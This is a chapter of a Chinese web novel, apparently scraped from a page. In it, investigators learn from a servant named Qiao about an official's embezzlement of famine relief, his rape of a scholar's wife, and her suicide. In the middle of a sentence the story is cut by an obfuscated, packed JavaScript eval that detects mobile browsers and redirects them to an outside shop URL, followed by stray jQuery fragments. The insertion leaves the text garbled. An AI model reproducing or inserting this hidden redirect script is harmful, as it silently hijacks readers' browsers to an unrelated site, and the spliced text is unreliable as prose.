最终,乔叔在几人半是胁迫半是请求的要求下,不情不愿地将人带回了自己住的客栈。
待回到客房,点燃了桌上的油灯,乔叔这才衬着明明灭灭的烛光道:“你们想问什么?”
苏箐宁思忖片刻,决定还是从微风山寨的事情入手。
她道:“你知道,微风山寨的事情吗?为何越城会有这么多因为吃不饱饭而上山落草为寇的百姓?我记得朝廷是有拨了赈灾款的,越城的赈灾款应该也不少才对。”
“赈灾款?”乔叔听见这个词语忍不住冷笑了一声:“哪里来的赈灾款?朝廷下拨的那四十万,经过沿途的层层盘剥早就不剩多少,若是还有个十万那就是谢天谢地,分到越城的,往好了算最多也就是三五万的数额,但这三五万最后也都是进了孙玉和的手掌心,城中心的一小部分人当然是能分到一些吃食,但偏僻的那些村子里的人当然是什么也拿不到。”
季晏词听完乔叔的讲述,有些不解道:“朝廷每年都有人前来调查以及核实,为何这些事情没有人检举反馈?”
乔叔冷哼一声:“你以为朝廷下派的人又是什么圣人君子,不过一些贿赂就轻轻松松地打发了去,那些人哪里管得了这些事情,地头蛇的势力大,而且很大一部分人在朝廷有自己的人,那些人收到好处自然是会为他们说话,下来检查的人知道没法对这些人产生什么实质上的伤害,也就收一点钱,睁一只眼闭一只眼由得他们去了。我呸!全是一群恶心的蛀虫!”
季晏词沉默了,她知道朝廷的腐败,官员们卖官鬻爵,私自收礼,还有朝廷颁发的一些增加苛捐杂税的诏令。
竟忘了最中央的朝廷都已经是这个样子,那远在天边不着天不着地的地方自然只会更加混乱腐朽。
容栩道:“既然你在孙府待过,那知不知道微风山上大当家张全的事情?”
乔叔凝神想了片刻,须臾恍然道:“您说的是城西的那个秀才吗?那也是个可怜人。”
有戏!几人立马全神贯注地开始倾听。
“那张全原本也就是个老实人,读了十来年的书,家里供他考了和秀才以后实在没钱继续供他考试,最后他也就体谅家里,去他们村里私塾做了个教书先生,赚点钱,也算是能养活一家老小。”
“后来有一天,他老婆出门的时候,碰上了孙玉和那个禽兽!哼,一个弱女子如何能抵得住那一群男人,那禽兽直接给人下了药,给强上了。”
苏箐宁蹙眉:“那为何张全告诉我们,是罗员外对他的妻子做了不轨之事?”
“哼,这就是孙玉和最无耻最虚伪的地方”,乔叔似是想起了什么事情,神色变得厌恶至极:“他为了瞒住夫人,但又能继续和那张全的妻子搞在一起,就串通了罗员外,将那张全的妻子抢去了罗员外的府上,而他就借着谈论事务的借口,时不时往罗员外府上跑,直到后来被那女人找到机会,上吊自杀了。”
“那这么说来,那张全的父母女儿的事,其实也是孙玉和找人做的?”苏箐宁道。
“是,孙玉和就是个小人,后来那张全就走投无路,上了微风山。”乔叔叹了一口气,颇有些惋惜地道。
这些事情果然与孙玉和脱不了关系,想到了他可能是帮凶,却没想到竟然是个不折不扣的主谋!
听完乔叔说的这些事情,苏箐宁串连着思索片刻道:“那么,你是谁?你是于夫人的陪嫁吗?你是于家人?”
乔叔摇头道:”不。”
苏箐宁倒是惊讶了一下:“那,你是孙家的人?”
“呸!”乔叔狠狠地啐了一口。
苏箐宁表示明白,好的,看来也不是孙家的人。
“我不是于家的人,也不是孙家的人,我只是于夫人的人,十年前,是夫人将我从人牲的市场上买下来的,从那一刻起,我乔岩这辈子就都是于夫人的人。”乔叔一脸虔诚,好像又一次看到了在那血腥恐怖,已经磨
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16600662|172649||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
灭了人性的市场上向他伸出手,将他重新变成人的女人。
行吧。
苏箐宁对乔岩的故事不感兴趣,她继续问道:“既然你是于流霜的人,而于流霜现在可是孙玉和的夫人,她的命运与孙家连在一起,你与我们说了这么多,就不怕孙家倒台后对于夫人有影响吗?”
乔叔阴阴地笑了一声:“再坏还能坏到哪里去?这些年夫人待他如何?他又待夫人如何?就他那样的白眼狼伪君子,早就该下地狱去了,等他下了地狱,夫人就自由了。”
季晏词不带什么感情,直叙道:“孙玉和犯的事情够他死个七八百回了,不说别的,至少要抄家流放,若是于流霜不早些与他和离到时候也逃不了流放北疆。”
乔叔瞪眼道:“不可能,夫人会与那混账和离的!就算不和离,于家也不会眼睁睁看着夫人被流放的!”
苏箐宁没说什么,毕竟在夫家被流放时,若是娘家舍不得自家的女儿外孙这类,就会出钱通融赎买,将自家儿女捞出来。
这是不成文的规矩,做的人太多,有些人不方便得罪,朝廷便也就睁一只眼闭一只眼。
“本宫还是不明白,孙玉和待于夫人究竟如何?这孙府的家当大都是于夫人的陪嫁吧?为何于夫人反而却是住在这么偏僻的小院子里?”容栩提出来自己的疑惑。
她确实是很好奇,其实在她脑子里早就脑补出了一副凤凰男吸血后抛弃妻子移情别恋的狗血大戏。
这孙玉和一看就非常符合这个人设!
乔叔似是陷入了沉思,他思索着,似乎在斟酌,不知道该不该说出来。
季晏词眯了眯眼睛:“你想隐瞒什么?”
乔叔被她那犀利的眼睛盯得一个激灵,纠结了几秒,最后叹了口气还是道:“其实,此孙玉和非彼孙玉和。”
“什么?”这回倒是轮到苏箐宁和容栩震惊了,什么叫此孙玉和非彼孙玉和,怎么孙玉和还有两个不成?